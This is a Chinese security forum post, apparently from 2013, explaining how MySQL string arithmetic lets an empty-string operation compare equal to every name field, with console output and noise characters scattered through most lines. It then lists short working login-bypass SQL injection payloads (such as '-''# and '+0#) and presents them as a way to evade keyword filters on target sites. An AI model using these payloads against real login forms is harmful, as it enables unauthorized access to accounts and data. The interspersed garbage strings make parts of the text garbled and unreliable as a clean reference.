找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
$ Z, k  i( w4 e- }0 ?; A有以下表结构: . {; X2 O6 F( O, K" O% |/ t" T
! w, C+ r3 D* [& S  P
mysql> desc admin;8 T) ?+ H/ p" d& q: y
+----------+--------------+------+-----+---------+----------------+
% o- \1 r: e4 w$ Y6 y6 v4 B| Field    | Type         | Null | Key | Default | Extra          |
, W: k. I6 V: t+ v+----------+--------------+------+-----+---------+----------------+
$ o% s3 U6 I) L3 @( @7 E| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |, E4 n' x, Q" f  i3 ~! v
| name     | char(32)     | NO   | UNI | NULL    |                |- p. d% u3 W- c& J" q5 e3 c6 p
| password | char(32)     | NO   | UNI | NULL    |                |4 B% W+ \) U" R# o
+----------+--------------+------+-----+---------+----------------+7 q2 f) F7 A" g6 W" M/ W
3 rows in set (0.00 sec)
! C& w1 l) q3 ?# u  Z执行select * from admin;,成功返回所有记录内容。
* N1 O- r$ u$ O9 I+ Z* Z# J- K8 X7 C. z& t: ]( K5 e

9 o$ q/ u+ F. Q' t: e) h, ?. `) [+----+--------+----------------------------------+
8 E& R+ L5 b, u5 ~# c| id | name   | password                         |1 J# y" ?6 A. `+ r9 F1 h; X  J
+----+--------+----------------------------------+6 o9 M* a  B( q/ H5 I  e5 i
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
( ~& W& J3 \# z4 a1 k|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |/ Y- ?/ o9 G* p2 B0 H  E" k# x$ V
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
' l* ^$ N7 D$ N. {+ D; P; Y1 y, o+----+--------+----------------------------------+
: Y  s( T7 M- @# q# x' ~3 G4 y9 r3 rows in set (0.00 sec)7 ~; E7 C$ Q$ k
执行select * from admin where name=”;,没有匹配到任何记录。
$ M7 L/ i, L' E# ]4 l' t
  w  b9 F+ _2 [8 M5 F+ u1 Z2 t2 }mysql> select * from admin where name = '';
& k+ [- r1 c* u! z( QEmpty set (0.00 sec)" S5 E+ f9 z1 R1 g$ X: P0 r, l
那么我们来执行select * from admin where name = ”-”;
/ [/ v2 M3 {% n$ ]) f# V
7 t4 w) j% t- d1 g/ ?( m1 @$ z( \
5 g0 O3 G  |( ]* Q+----+--------+----------------------------------+6 D0 S0 k8 t! O. E
| id | name   | password                         |
+ F; e* ^  S. b: u' i+----+--------+----------------------------------+4 M4 m' @& {$ b' N# C0 y& C4 B% V2 t
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |* E" X8 O$ X( H4 z6 c
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# b; a, H& B3 w4 K  G6 b# k0 N: c
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
4 S& S" x/ R$ B, @9 l+----+--------+----------------------------------+" ?9 c8 Q% k6 R* w* [
3 rows in set, 3 warnings (0.00 sec)
0 m) r0 q* Q" D/ l可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , d* D- w* N" o9 }$ [, {

. A1 r: U3 \8 Q% Q1 Mmysql> show warnings;
; T* l" q5 T( t+ P6 U: ~+---------+------+------------------------------------------
/ M7 C7 l, g8 O- H/ w0 V1 q| Level   | Code | Message# f/ r  x; E5 \" Q7 l' O
+---------+------+------------------------------------------
, r) R" j, _7 ]7 @' Q( U| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
4 H2 b, I9 @* S4 Q, ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
# U4 p2 P" l- @6 t% o| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b. T8 f# U" u3 s" t/ {
+---------+------+------------------------------------------
& I+ j2 b" g( \3 rows in set (0.00 sec)! A6 Y  a/ ]. l6 n3 O4 B
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ) I3 Y5 O3 A3 G) {
% S- Y; y* A2 I! y$ i$ |
mysql> select ''-'';8 a) z4 r. X$ w5 I' v: v
+-------+% _, o! I3 A3 V, B
| ''-'' |. D* i+ P0 L% P" M1 S! }$ G
+-------+
' ?% A1 t2 d+ a) p4 i3 c|     0 |
1 z0 ~2 A* o1 G+-------+
7 Z  G+ a- t% k# q3 \+ H1 row in set (0.00 sec)
/ j) B! B6 i1 f1 s* U8 a- F返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
, W6 `, }/ I4 r) F% p: Z. ~: H6 T/ r
4 y, x! X$ I. o8 @) r/ L' Emysql> select CAST((select name from admin limit 1,1) as DECIMAL);& g6 r3 p0 H% O1 d0 W# _( N6 m
+-----------------------------------------------------+& q; P, n! `( @+ M
| CAST((select name from admin limit 1,1) as DECIMAL) |
( ~1 `% z' l7 z4 x0 V2 H# V+-----------------------------------------------------+
" O& B# H, J8 W|                                                   0 |3 G8 I) y! T" b9 H, A
+-----------------------------------------------------+
6 y1 y: M6 L% H) u; m$ c1 row in set, 1 warning (0.00 sec)
& Q$ j/ e- g2 I2 f* `# i因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 p0 U, D: f9 ]

) L( w) d5 L" W. g" USQL注入场景: http://www.sqlzoo.net/hack/
# n3 @1 o3 k$ Y2 P6 O( x. ^* \3 ^) @+ E- H6 J

" }8 R% s; k3 N+ s
$ T. O' P+ ~- ~0 v
: q4 g0 q4 j, c+ ?! c2 d" x% d+ l如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
4 q" o& Y7 f- x% i# ]4 m! x+ \- |
; e" s1 Z5 |, c' r* g1 [1 d那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ; H7 _. @! s$ L* R
  J1 l9 ]. w# V1 A; @& p( j4 x

$ M  k$ w+ M. z1 G; |  M) [& y& k1 M
* N( q& W5 w( t" L, l/ ?6 W' i$ G0 V$ a- B/ Q1 b# P7 ?# E3 f
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 # S3 t( d8 x6 [; ^

$ l8 U( `- i; L& A9 Z5 m3 Z   
* Y' i4 u$ ]' |* M
, n' S9 l, O9 p" u8 w  X: E/ w除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可4 X' G1 k& d& M& B4 E/ {
. Z* t8 E6 Z; V
9 W* Y- b. t2 V( E: V( f
mysql> select ''/1;
/ o0 H# t% H2 w( h. d! V& o: i0 Z' |+------+
  ?7 n& d) }) K| ''/1 |
1 E/ k: [4 i7 r2 Q; H+------+) w7 Q5 q. u6 z. V8 t
|    0 |2 `/ L1 Y  E4 d/ d* V7 F1 H; E
+------+- f; g( ]4 @  G5 x8 A" j
1 row in set (0.00 sec)" L4 f! O5 }, w+ \9 r
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  / g2 T; @. C5 L' B! m! N8 z+ T, i
4 a( j. G% }1 I* R, B
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 D5 c& c& }! o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表